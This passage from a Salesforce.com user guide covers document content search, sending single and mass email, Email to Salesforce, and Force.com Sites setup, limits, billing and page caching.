matches. The Keywords and Document Name fields are used to determine the closest matches. The fields you see are
predefined and cannot be changed.
Tip: Use quotation marks around a phrase to search for the words in that sequence. For example, a search for “my
logos” returns documents whose fields or content contains that exact phrase, as well as my and logos. Without
quotation marks, your search returns any document whose fields or content includes any of the words in the search.
For example, my logos returns documents whose fields or content contains my and logos.

4. Select any document to jump directly to the detail page for that document, or click View to open the document in a new
window.

If document content search is enabled, Salesforce.com will also perform a full-text search of the document. When a new
document is uploaded or an old one is replaced, its contents are available for searches.
To enable document content search:

1. Click Setup ➤ Customize ➤ Search ➤ Search Settings.


2. Select Enable Document Content Search.

Note: Salesforce.com automatically determines if the contents of a document can be searched. If the Document
Content Searchable property is checked on a document, then its contents have been processed successfully and
can be searched. If your document is large, it may take several minutes before Salesforce.com searches the contents of
a document and marks the Document Content Searchable property.

The following file types are supported for a document content search.
Note: The contents of documents that exceed the maximum sizes are not searched; however, the document fields are
still searched. Only the first one million characters of text are searched. Text beyond this limit is not included in the
search.

File Type File Extensions Maximum Size


HTML (only the text within a <body> 5,120 KB
.htm
tag)
.html

.xhtml

PDF .pdf 25,600 KB


PPT 25,600 KB
.pot

.pps

.ppt

RTF .rtf 5,120 KB


Text 5,120 KB
.c

1522
Documents Searching for Documents

File Type File Extensions Maximum Size


.cpp

.css

.csv

.ini

.java

.log

.sql

.txt

Word 25,600 KB
.doc

.dot

XLS 5,120 KB, or a maximum cell limit of


.xls
100,000 cells
.xlt

XML .xml 5,120 KB

In some instances documents are not searched. These include:

• If a file extension is changed to a different format, it is not searched, even if both extensions are valid. For example, a .txt
file that is renamed to .rtf is not searched.
• PDF and Word documents may have security restrictions that prevent them from being searched. To ensure that the
content is searchable, the “content extraction” property on your file must be set to “Enabled” when creating your document.

See Also:
Search Overview
Uploading and Replacing Documents
Search Fields
Search Wildcards and Operators

1523
EMAIL

Email Overview
Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

You can email contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity,
case, campaign, or custom object pages.
Using mass email in Professional, Enterprise, Unlimited, and Developer Edition organizations, you can email a list of contacts,
leads, or person accounts for small-scale sales or support emails. This functionality is intended to facilitate your business
processes, not replace your existing email application or handle mass marketing campaigns.
You can send mass email to a maximum of 1000 external email addresses per day based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in a single mass email depends on the Edition of Salesforce.com
you are using:

Edition Limit
Professional 250
Enterprise Edition 500
Unlimited Edition 1000

You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and
Apex.
When you send an email, you can choose a predefined template for the message. To personalize your message, the template
can include merge fields that are replaced with information from the Salesforce.com record when the email is sent. For instance,
your organization may want to use a standard template to communicate solution information to customers with cases. Your
administrator maintains organization-wide templates, and you can maintain your own personal templates.

See Also:
Sending Email
Sending Mass Email
Editing Email Settings
Email Fields
Managing Email Templates
Force.com Connect for Microsoft Outlook® Overview
What is a Person Account?
Testing Deliverability

1524
Email Sending Email

Sending Email
Available in: All Editions

User Permissions Needed


To send emails: “Send Email”
To create an organization-wide address: “Modify all Data”

To send email to a contact, lead, person account, or other user:

1. Click Send An Email on the Activity History related list of a record. Or, from a case, click Send An Email or Reply from
the Email related list. This option is available only to organizations using Email-to-Case or On-Demand Email-to-Case.
2. Optionally, you can specify the sending address of the email from the From drop-down list for emails associated with
Email-to-Case or On-Demand Email-to-Case; or if the email name or email address in your email settings is different
from the email name or email address on your user record.
When creating a new outbound Email-to-Case or On-Demand Email-to-Case message, the From address is auto-populated
with your name. When replying to an inbound message, the From address is auto-populated with the routing address to
which the email was sent.
If you previously defined any organization-wide addresses, the email addresses associated with your user profile also appear
in this drop-down list. Organization-wide addresses are not available for Mass Email, or Stay-in-Touch requests.
3. Click Switch to Text-Only to remove any HTML formatting and send a text email. Click Switch to HTML to use
HTML formatting.
Note: Use HTML formatting if you want to track the email. See Tracking HTML Email on page 1531 for more
information.

4. Choose a recipient by entering a contact, lead, or person account in the To: field. Only one name can be entered in the
To: field.
5. Optionally, choose another record, such as an account, case, or custom object, to associate with the email.
6. Optionally, if you want other people to receive the email as primary recipients, enter email addresses in the Additional
To: field, or click the Additional To: link to select individuals from a list. These people do not need to be Salesforce.com
records. Email addresses can be separated by semicolons, commas, spaces, or new lines.
7. In the CC: and BCC: fields, enter any additional email addresses, or click the CC or BCC link to select individuals from
a list. Email addresses can be separated by semicolons, commas, spaces, or new lines.
If your organization has enabled compliance BCC emails, the BCC: field is not available and your Automatic Bcc setting
under My Email Settings is disabled.
8. Enter a subject and body for the email, or click Select Template to choose a predefined email template. Choose a folder
and select a template from the folder. If necessary, you can modify the content of the template in your email; however, you
cannot modify Custom templates.
When replying to an Email-to-Case or On-Demand Email-to-Case email, the original email is included in the email
body. All or parts of this email can be deleted.

1525
Email Sending Email

9. If you chose an HTML email template, use the format toolbar to format your text. For details on the format toolbar, see
Using the Format Toolbar on page 117. Available in Professional, Enterprise, Unlimited, and Developer Editions only.
10. Optionally, select Attach File to add a file. You can attach multiple files as long as the total size of all attached files does
not exceed 10 MB.
11. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the body of the email. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported.
If you are using an email template, the Check Spelling button is available for text templates and Visualforce templates
without HTML tags.
12. Click Send.
If the recipient does not have an email address, Salesforce.com prompts you to edit the person’s email address and click:

• Save Address to add the email address to the record without sending the email.
• Save Address and Send to add the email address to the record and send the email.

If bounce management is activated and the email bounces, Salesforce.com displays an error message. Click the link in the error
message to update the email address and optionally send the email to the updated address.
Emails sent via the Send an Email button are listed in the Activity History list of the related records. The Activity History
item displays as “Email: <Subject>.” You can click the email subject to view the body of the email. Attachments are not stored
with the email, unless they are associated with an Email-to-Case or On-Demand Email-to-Case email.
Emails sent from the Email related list of a case are saved in the Email related list. This functionality is only available for
organizations with Email-to-Case or On-Demand Email-to-Case enabled.
Note: You can send emails related to any record, as long as you have access to view or edit the record.
Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

See Also:
Email Fields
Editing Email Settings
Sending Mass Email
Tracking HTML Email
Working with Case Emails
What is a Person Account?
Testing Deliverability

1526
Email Sending Mass Email

Sending Mass Email


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To send mass emails to contacts, person accounts, or leads: "Mass Email"
To send mass emails to users: "Mass Email"
AND
"Manage Users"

To send mass emails and log them in the Activity History "Mass Email"
related list:
AND
"Edit Tasks"

You can send a mass email message to a recipient list that consists of contacts, leads, person accounts, or users you can view
in Salesforce.com.
You can send mass email to a maximum of 1000 external email addresses per day based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in a single mass email depends on the Edition of Salesforce.com
you are using:

Edition Limit
Professional 250
Enterprise Edition 500
Unlimited Edition 1000

You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and
Apex.

1. Choose the type of recipients for your mass email:

• To send mass email to contacts or person accounts, click Mass Email Contacts in the Tools section at the bottom of
the Contacts or Cases tabs. If your organization uses person accounts, the link is also in the Tools section at the bottom
of the Accounts tab.
• To send mass email to leads, click Mass Email Leads in the Tools section at the bottom of the Leads tab.
• To send mass email to users, click Setup ➤ Manage Users ➤ Mass Email Users. This link is available to administrators
and users with the “Manage Users” permission.

2. Select a list view of recipients and click Go!. By default, the My Contacts, My Leads, Active Users, or My Cases views
include all records of that type with an email address. To change the list of recipients, create a new custom view. See
Creating Custom List Views on page 1691.

1527
Email Sending Mass Email

Contacts, leads, or person accounts that have the Email Opt Out field selected or do not have an email address are not
included in any email list views.
Note: Person accounts are included in contact list views.

3. All recipients in the list view are selected by default. If there are recipients who should not receive the mass email, deselect
them. Optionally, use the top checkbox in the list view to select or deselect all of the recipients listed on the page.
4. Click Next.
5. Choose an email template.
Note: You cannot send a mass email using a Visualforce email template.

6. Optionally, click the Preview links to view the templates. In the email template preview window, the template displays
with any merge fields included, such as {!Account.AccountNumber}. When you send your email, data from the
recipients' records, or any applicable substitute text, is inserted into the email in place of those merge fields.
7. Click Next.
8. On the confirmation page, select from the available Processing Options:

• BCC me on one message


• Store an activity for each message

The Activity History item is associated with the contact, lead, or person account and displays as “Mass Email:<Template
Description>.” The email subject, body, and attachments are not stored in the Activity History item. To log Activity
History items, you must have access to view or edit the records in the recipient list and have the “Edit Task” permission.
• Use my signature

Optionally, include your email signature in this mass email. This option applies to text emails only. See Editing Email
Settings on page 64 for information on creating an email signature.
• Mass Email Name

Enter a name you can use to identify this mass email in the mass email queue. See Monitoring the Mass Email Queue
on page 375 for more information.
Note: The mass email name only appears in the mass email queue and status messages you receive from
Salesforce.com. Salesforce.com does not add the mass email name to the mass email you are sending.

9. In the Delivery Options section, do one of the following:

• Select Send now.


• Select Schedule for delivery on and click the date/time link to specify when Salesforce.com will send the mass email.
Use the adjacent drop-down menu to specify the time zone.
Note: Users can click Setup ➤ Email ➤ My Mass Emails to view and cancel mass emails they scheduled.
Administrators can click Setup ➤ Monitoring ➤ Mass Email to view and cancel mass emails scheduled by
all users in their organization. See Monitoring the Mass Email Queue on page 375 for more information.

10. Click Send to submit the mass email.

1528
Email Sending Mass Email

11. Click Finished to complete the mass email wizard.

Notes on Sending Mass Email


• Mass email can only be sent to an address in a standard email field. Mass email using a custom email field is not supported.
• If a standard email field is hidden by field-level security, the Mass Email links for Contacts and Leads do not display.
• Before you send a mass email, create a custom view of contacts, leads, person accounts, or cases without an email address.
In the search criteria, choose “Email equals,” and leave the third field blank. You can then update those records before
sending your emails. Unfortunately, there is no way to validate an email address without sending an actual email message.
• If your template contains a merge field for which there is no data in a particular record, that field does not display in the
email you send. To find such blank fields, modify your recipient list view to search for the merge fields you are using in
your template, and enter the criterion “<field> equals,” leaving the third field blank. Edit those records that have blank
fields before you send your emails.
• If the email deliverability option Notify sender when mass email completes is selected, you receive an
auto-generated status email from Salesforce.com for each mass email you send. The subject line of the status email contains
the value you entered in the Mass Email Name field when sending the mass email.
• Both the mass email queue and the status email contain the following information:
Addressed To
The number of recipients you selected when creating the mass email.

Sent To
The number of recipients to which Salesforce.com sent the message. This number may differ from the Addressed
To number for the following reasons:

- The mass email would cause your organization to exceed its daily mass email limit. Salesforce.com does not send
the message to any of the intended recipients in this case.
- One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before
it was processed.
- One or more selected recipient email addresses were removed from the contact or lead after the mass email was
scheduled but before it was processed.
- The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed.
Salesforce.com does not send mass emails scheduled by a user who is deactivated.

• Attachments in mass emails are sent as links rather than as physical files. When recipients click the attachment link in the
email, the attachment opens in a separate Web browser, and they can download the file. Mass email attachments display
the file name and extension and are stored for 30 days.
• Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
• You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request.

See Also:
Email Fields
Editing Email Settings
Setting Field-Level Security
What is a Person Account?

1529
Email Email Fields

Email Fields
Available in: All Editions

A Salesforce.com outbound email has the following fields, listed in alphabetical order.

Field Description
Attachment List of the attached files. The maximum total size of all email
attachments is 10MB.
BCC List of email addresses to which the email will be blind carbon
copied. Up to 2000 characters are allowed in this field. You
can separate email addresses by semi-colons, commas, spaces,
or new lines. Emails with addresses that contain parentheses,
such as john(smith)@acme.com, will not be sent.
The BCC: field is not available if your organization has enabled
compliance BCC emails.

Body Main text of the email. Up to 32KB of data are allowed in this
field.
CC List of email addresses to which the email will be copied. Up
to 2000 characters are allowed in this field. You can separate
email addresses by semi-colons, commas, spaces, or new lines.
Emails with addresses that contain parentheses, such as
john(smith)@acme.com, will not be sent.
From Automatically generated field containing your email address.
Related To Existing account, asset, campaign, case, contract, opportunity,
product, solution, or custom object that the email is related
to. This field is not sent with the email, but is stored in the
Activity History with the email.
Signature Your personalized tag line. Set your signature via Email ➤
My Email Settings in the Personal Setup area. It is
automatically appended to individual emails. You can choose
to append it to mass emails.
Subject Subject of the email. Up to 80 characters are allowed in this
field. The contents of this field display in bold if the email
Status is New.

To Name of the contact, lead, or person account to which the


email will be sent. Only one name can be entered in this field.

1530
Email Tracking HTML Email

Tracking HTML Email


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

After sending an HTML email, you can track the date it was first opened, the number of times it was opened, and the date
it was most recently opened.
Detail pages for contacts, leads, and person accounts include an HTML Email Status related list. Each email you send to a
person or mass distribution list is listed, including the date the email was sent, first opened, last opened, and the total number
of times it was opened by all users (multiple openings by the same user are counted). This list also includes automatic emails
such as those sent through Web-to-Lead and Web-to-Case response rules.

• Click Send An Email to create a new message. See Sending Email on page 1525 for more details on sending an email.
• Click View All to view more details about all the items in the HTML Email Status related list.
• Click Edit next to an email to add any notes to it.
• Click Del to remove an email from the HTML Email Status related list.
• Click the subject of an email to view the entire email message. If the subject is longer than 100 characters, it is truncated
with ellipses (...).

To report on the HTML email statistics listed in the HTML Email Status related list, use the HTML Email Status Report
available from the Reports tab.
Note: Add the HTML Email Status related list to your contact, lead, and person account page layouts before users
send HTML emails that they need to track.

See Also:
Customizing Activity Settings
What is a Person Account?

Using My Email to Salesforce Address


Available in: All Editions

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to the Activity
History related list on lead, contact, opportunity, and other records in Salesforce.com. When composing, forwarding, or
replying to email, simply enter your Email to Salesforce address in the BCC field. Salesforce.com receives a copy of the email
and, depending on your configuration, adds it to the Activity History related list of the matching records.
If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce.com searches the To and
CC fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce.com saves the email
to the Activity History related list on the appropriate record.

1531
Email Using My Email to Salesforce Address

If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce.com searches the To and CC
fields for the email addresses of your contacts. If contacts are found, Salesforce.com saves the email to the Activity History
related list on all open opportunities for which the contact is assigned a contact role.
You do not need to configure Email to Salesforce to associate emails to matching records. Salesforce.com searches emails sent
to your Email to Salesforce address for a record ID, then looks for the record. If the record is found, Salesforce.com adds the
email to the Activity History related list on that record.
You can also save a message as an email activity without sending or resending it to another person. Simply forward the email
with your Email to Salesforce address in the To field. Be sure that there are no other email address in the To, CC, and BCC
fields. Salesforce.com receives a copy of the email and searches the From, To, and CC fields in the forwarded email for the
email addresses of your leads and contacts. If any leads or contacts are found, Salesforce.com saves the email in the Activity
History related list on the appropriate record.
When working with Email to Salesforce, note the following:

• You can use Email to Salesforce with email client applications such as IBM® Lotus Notes® and Microsoft® Outlook®, as
well as webmail such as Gmail™ and Yahoo! Mail™.
• Email to Salesforce discards email attachments.
• The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
• If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce.com, you can choose to
associate the email with all matching records, the oldest record, or the record with the most activity.
• If Email to Salesforce matches an email to multiple opportunity records in Salesforce.com, the email is included in the
activity history on all matching open records.
• If you use Gmail, see Using Gmail in Salesforce.com on page 2033 to learn about the additional Gmail features that
Salesforce.com offers.
• Email to Salesforce can create a maximum of 50 email activities for each email it receives.
• Email text and HTML is automatically truncated to 32 KB.

An administrator must activate Email to Salesforce for your organization; for information, see Enabling Email to Salesforce
on page 401. After activation, Salesforce.com generates a unique Email to Salesforce address for each user. Users receive an
automated email from Salesforce.com that contains their Email to Salesforce address. The Email to Salesforce address can
also be viewed by clicking Setup ➤ Email ➤ My Email to Salesforce. The Email to Salesforce address is automatically
generated and cannot be changed.

Setting up My Email to Salesforce


Before you can use your Email to Salesforce address, you must configure it as follows:
1. Click Setup ➤ Email ➤ My Email to Salesforce.
Tip: It is recommended that you add your Email to Salesforce address to the address book of your email client
for easy retrieval.

2. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email
addresses with commas.
Important: Your Email to Salesforce address only accepts email from addresses you list. If you do not list any
email addresses, email sent to your Email to Salesforce address will not be associated to any records.

3. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three.

1532
Email Using My Email to Salesforce Address

4. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information
that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate
record, or to the record that has greatest number of activities.
5. If you selected leads or contacts, optionally configure Email to Salesforce to create a task that enables you to choose which
record to associate the email with if no matching records are found. If this option is not selected, Email to Salesforce will
ignore emails that do not have matching records.
6. Optionally configure Email to Salesforce to send you a confirmation email when emails are successfully associated.
7. Click Save.

Using My Email to Salesforce


To associate an email with a matching lead, contact, or opportunity:
1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field
on the My Email to Salesforce setup page.
2. Enter your Email to Salesforce address in the BCC field of your email.
3. Enter desired recipients in the To, CC, and BCC fields.
4. Send the email.
Salesforce.com receives the email and, based on your My Email to Salesforce settings, adds it to the Activity History related
list of matching records.
To associate an email with an individual record:
1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field
on the My Email to Salesforce setup page.
2. In Salesforce.com, locate the record ID of the record you want the email associated with. The record ID is the 15-digit,
case-sensitve, alphanumeric code that displays at the end of the URL for a record. For example, if you view the detail page
of a campaign record, the URL will look similar to this: https://na1.salesforce.com/701D0000000HQZy; the
record ID for this record is 701D0000000HQZy.
3. In the subject line or body of the email, type ref: followed by the record ID. For example: ref: 701D0000000HQZy.
Note: Record IDs can either be typed on a separate line or within the email body text if surrounded by (), [], or
{}. For example: (ref: 701D0000000HQZy). Multiple record IDs must be separated with commas, for example:
ref: 701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa.

4. Enter your Email to Salesforce address in the To, CC, or BCC fields of your email.
5. Optionally enter additional recipients in the To, CC, or BCC fields.
6. Send the email.
Salesforce.com receives the email and adds it to the Activity History related list for each record that matches a record ID
specified in the email. Invalid IDs or IDs for records that you do not have read access to are ignored.
If Email to Salesforce is configured to associate email with matching leads, contacts, or opportunities, an unresolved task will
be created when an email is associated to a lead, contact, or opportunity using only a record ID and not a matching email
address. For example, if you have configured emails to be associated with matching leads and you send an email directly to
your Email to Salesforce address with a lead record ID in the body or subject line of the email, the email will be associated to
the lead and an unresolved task will be created.

See Also:
Enabling Email to Salesforce
Google Apps Overview
Using Gmail in Salesforce.com

1533
FORCE.COM SITES

Force.com Sites Overview


Available in: Developer, Enterprise, and Unlimited Editions

Salesforce.com organizations contain valuable information about partners, solutions, products, users, ideas, and other business
data. Some of this information would be useful to people outside your organization, but only users with the right access and
permissions can view and use it. In the past, to make this data available to the general public, you had to set up a Web server,
create custom Web pages ( JSP, PHP, or other), and perform API integration between your site and your organization.
Additionally, if you wanted to collect information using a Web form, you had to program your pages to perform data validation.
With Force.com sites, you no longer have to do any of those things. Force.com sites enables you to create public websites and
applications that are directly integrated with your Salesforce.com organization—without requiring users to log in with a
username and password. You can publicly expose any information stored in your organization through a branded URL of your
choice. You can also make the site's pages match the look and feel of your company's brand. Because sites are hosted on
Force.com servers, there are no data integration issues. And because sites are built on native Visualforce pages, data validation
on collected information is performed automatically. You can also enable users to register for or log in to an associated portal
seamlessly from your public site.
The following examples illustrate a few ways that you can use sites:

• Create an ideas site—Use sites to host a public community forum for sharing and voting on ideas about your company,
services, or products. Ideas websites can be made public using sites.
• Publish a support FAQ—Provide helpful information on a public website where customers can search for solutions to
their issues.
• Create a store locator tool—Add a public tool to your portal that helps customers find stores in their area.
• Publish an employee directory—Add an employee directory to your company's intranet by creating a site restricted by IP
range.
• Create a recruiting website—Post job openings to a public site and allow visitors to submit applications and resumes online.
• Publish a catalog of products—List all of your company's products on a public website, with model numbers, current prices,
and product images pulled dynamically from your organization.

The Force.com Domain


For each of your sites, you determine the URL of the site by establishing the site's domain name. You can choose one of the
following domain options:
• Use your Force.com domain name, which is your unique subdomain prefix plus force.com. For example, if you choose
mycompany as your subdomain prefix, your domain name would be http:/www.mycompany.force.com. The name
is case-sensitive.
Note: Your Force.com domain name is used for all the sites that you create. For example, your company could
create one public site for partners, another for developers, and a third for support. If your company's domain is
http:/www.mycompany.force.com, those three sites might have the following URLs:

- http://mycompany.force.com/partners
- http://mycompany.force.com/developers
- http://mycompany.force.com/support

1534
Force.com Sites Force.com Sites Considerations

• Create a branded, custom Web address, such as http://www.mycompanyideas.com, by registering through a domain
name registrar. Create CNAME records to redirect your branded domain and subdomains to your Force.com domain
without exposing the force.com name in the URL. It can take up to 48 hours for your Force.com domain to become
available on the Internet. Custom Web addresses are not supported for sandbox or Developer Edition organizations.
Note: The construction of the secure URLs for your Force.com sites depends on the type of organization they are
built on. In the following examples, the subdomain prefix is “mycompany,” the sandbox name is “mysandbox,” the
instance name is “na1,” and the sandbox instance name is “cs1”:

Organization Type Secure URL


Developer Edition https://mycompany-developer-edition.na1.force.com

Sandbox https://mycompany.mysandbox.cs1.force.com

Production https://mycompany.secure.force.com

The subdomain prefix for Developer Edition must contain 22 characters or fewer. The secure URL is displayed on
the Login Settings page.

See Also:
Force.com Sites Considerations
Setting Up Force.com Sites
Managing Force.com Sites
Registering a Custom Force.com Domain
Creating and Editing Force.com Sites
Configuring Force.com Sites
Force.com Sites Limits and Billing
Reporting on Force.com Sites
Tracking Your Site with Google Analytics
About Syndication Feeds
Ideas Overview
Administrator setup guide: Force.com Sites Implementation Guide

Force.com Sites Considerations


Available in: Developer, Enterprise, and Unlimited Editions

Before creating and using Force.com sites, consider the following:


Domain Registration
The following apply to domain registration for sites:

• If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME
record that you provide to that registrar must be your Force.com domain name and not the site URL. For example,

1535
Force.com Sites Force.com Sites Considerations

if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.
• Custom Web addresses are not supported for sandbox or Developer Edition organizations.

Security
The following apply to security for sites:

• If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the
Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging
in to the associated portal from the site will see the secure.force.com domain. For example, if you registered
mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com
upon login. For more information, see Managing Force.com Site Login and Registration Settings.
• Customers using Single Sign-On to login to sites can use the optional refURL URL parameter to retain the custom
domain name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has
been set for the site or Require Secure Connections (HTTPS) has been set for the organization. An example
URL using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
• To use IP restrictions, HTTPS is required. You must use the secure URL associated with your Force.com domain
to access your site.
• Authenticated and non-authenticated users may see different error messages for certain conditions—for example,
on Apex exceptions.
• Only production organizations have the valid secure.force.com SSL certificates to access sites using HTTPS.

Caution:

• Salesforce.com recommends setting the sharing to private for the objects on which you grant “Read” access
for your site. This ensures that users accessing your site can view and edit only the data related to your site.
• Salesforce.com also recommends securing the visibility of all list views. Set the visibility of your list views to
Visible to certain groups of users, and specify the groups to share to. List views whose visibility
is set to Visible to all users may be visible to public users of your site. To share a list view with public
users, create a new public group for those users and give them visibility. If the object's sharing is set to private,
public users will not be able to see those records, regardless of list view visibility.

Ideas
For ideas to work with sites, the organization must have an active portal associated with that community. Otherwise,
users will encounter errors.

Self-Registration
The following apply to self-registration for sites:

• Sites does not support the use of Person Accounts for self registration.
• Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
• On self-registration through a site:

- Validation rules are enforced on user creation.


- Validation rules are ignored on contact creation.

1536
Force.com Sites Force.com Sites Limits and Billing

Packaging
The following apply to packaging for sites:

• Sites are not packageable. However, you can package sample code, Visualforce pages, Apex classes, or components
for a site using a managed package.
• You must have Force.com sites enabled to be able to install unmanaged packages that contain Visualforce pages or
Apex classes that refer to a site.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Caching Force.com Sites Pages
Force.com Sites Limits and Billing
Viewing 24-Hour Site Usage History
Setting Up Your Customer Portal

Force.com Sites Limits and Billing


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites usage is governed by monthly and daily limits. Understanding these limits is important to the success of your
sites. Salesforce.com provides tools to help you reduce bandwidth consumption and monitor site usage so that you can avoid
exceeding these limits.
This topic contains the following sections:

• Limits and Billing Terminology


• Force.com Sites Limits and Restrictions
• Billing and Monthly Page Views Enforcement
• What Counts as a Page View?

Limits and Billing Terminology


This section defines the terminology used for Force.com sites limits and billing:
• “Page Views” are calculated as the total number of pages served from either the site's origin server or the cache server.
• “Bandwidth” is calculated as the number of megabytes served and received from both the site's origin server and the cache
server.
• “Service request time” is calculated as the total server time in minutes required to generate pages for the site.
• “Rolling 24-hour period” refers to the 24 hours immediately preceding the current time.
• “Origin server” refers to the Web server that hosts your site.
• “Cache server” refers to the CDN server that serves your cached site pages.
• “Current period” refers to the current calendar month for which you are entitled a certain number of page views for your
organization.

1537
Force.com Sites Force.com Sites Limits and Billing

Force.com Sites Limits and Restrictions


The following table lists the site limits for each edition:

Edition Maximum Number Bandwidth Limit (per rolling Service Request Time (per Maximum Page
of Sites 24-hour period) rolling 24-hour period) Views
Developer Edition 1 500 MB 10 minutes N/A
Free Edition 1 10 GB 360 minutes 250,000
Enterprise Edition 25 1 GB for sandbox 30 minutes for sandbox 500,000
40 GB for production 60 hours for production

Unilimited Edition 25 1 GB for sandbox 30 minutes for sandbox 1,000,000


40 GB for production 60 hours for production

Make sure to consider all of the available caching options to help you avoid reaching these limits, and use the Site Usage
analytics tools to monitor your sites.

Billing and Monthly Page Views Enforcement


This section describes how salesforce.com enforces limits on monthly page views for sites:
• Billing is based on the number of monthly page views purchased for your organization. This page view limit is cumulative
for all sites in your organization.
• If, in a given calendar month, your organization reaches 110% of its page view limit, salesforce.com sends the site and
billing administrators email notification.
• If your organization exceeds 110% of its page view limit for four consecutive calendar months, your sites are disabled until
the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site
and billing administrators, as well as the related account executive.
• If, in a given calendar month, your organization reaches 300% of its page view limit, your sites are disabled until the next
calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and
billing administrators, as well as the related account executive.

What Counts as a Page View?


This section describes how page views are counted for sites.
A page view is a request from a non-authenticated site user to load a page associated with one of the sites within your Force.com
domain or custom domain. Requests from authenticated portal users are not counted as page views.
Requests that Count as Page Views
Requests for the following are counted as page views:

Requests for... Example URL


Your Force.com domain http://mycompany.force.com

Your custom Web address http://mycompany.com

Any page associated with your site http://mycompany.force.com/mypage

Ajax requests n/a

1538
Force.com Sites Caching Force.com Sites Pages

Requests that Do Not Count as Page Views


Requests for the following are not counted as page views:

Requests for... Example URL


Salesforce.com images http://mycompany.force.com/img/force_logo_w09.gif

Your static resources http://mycompany.force.com/resource/1233771498000/background

Robots.txt http://mycompany.force.com/robots.txt

Favorite icon http://mycompany.force.com/favicon.ico

Attachments and Documents n/a


Error Pages, such as Bandwidth Exceeded http://mycompany.force.com/BandwidthExceeded
and In Maintenance

Note: Usage of the Bandwidth Limit Exceeded Page, the Maintenance Page, and the designated Inactive Home
page are not counted against page view and bandwidth limits. You can use static resources to brand these pages,
but the following limitations apply:
• Static resources must be 50 KB or smaller in size.
• Static resources must be stylesheets (CSS), image files, or javascript files.
• You cannot use Apex controllers for these pages.
• You cannot perform SOQL or DML operations from these pages.

See Also:
Force.com Sites Overview
Caching Force.com Sites Pages
Viewing 24-Hour Site Usage History
Reporting on Force.com Sites
Tracking Your Site with Google Analytics

Caching Force.com Sites Pages


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites enforces two 24-hour rolling limits—bandwidth and service request time—which vary by organization type.
Though the limits are high for active production organizations, your site could exceed the limit due to heavy traffic or pages
that consume lots of bandwidth or processing time. “Rolling 24-hour period” refers to the 24 hours immediately preceding
the current time.
Sites provide caching options that allow you to leverage the resources of our Content Delivery Network (CDN) partner to
improve page load times and site performance, as well as help you avoid reaching bandwidth or service request time limits.
Sites allows you to set the cache duration for each of your site pages and optimize content delivery to your end users.

1539
Force.com Sites Caching Force.com Sites Pages

Control the caching behavior for your site by setting the Boolean cache attribute and integer expires attribute on each
Visualforce page. By default, pages that do not have the cache attribute set are cached for ten minutes (600 seconds).
For example, a page whose cache is set to expire in 15 minutes looks like this:

<apex:page cache="true" expires="900">

Note: The CDN is only available for active production organizations. It is not available for sandbox or Developer
Edition organizations.
To protect the integrity of sensitive information, SSL sessions and pages requested after authentication are not cached
via the CDN.
Attachments to public pages accessed through sites are automatically cached for 10 minutes via the CDN.

Other factors also affect caching behavior, such as the type of user accessing the page, whether the request comes from the
caching server, and whether the site is login-enabled. The following tables summarize the caching behavior for each of these
cases.
For Requests Coming from the Caching Server
If the site is login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Cache expires according to user-set Caching server only
value
Not Set Cache expires in ten minutes Caching server only
Set to FALSE Not cached None

If the site is not login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Cache expires according to user-set Both caching server and browser
value
Not Set Cache expires in ten minutes Both caching server and browser
Set to FALSE Not cached None

For Requests Not Coming from the Caching Server


If the site is login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Not cached None
Not Set Not cached None
Set to FALSE Not cached None

1540
Force.com Sites Setting Up Force.com Sites

If the site is not login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Cache expires according to user-set Browser only
value
Not Set Cache expires in ten minutes Browser only
Set to FALSE Not cached None

See Also:
Force.com Sites Overview
Force.com Sites Limits and Billing
Setting Up Force.com Sites
Viewing 24-Hour Site Usage History
Reporting on Force.com Sites
Tracking Your Site with Google Analytics

Setting Up Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”
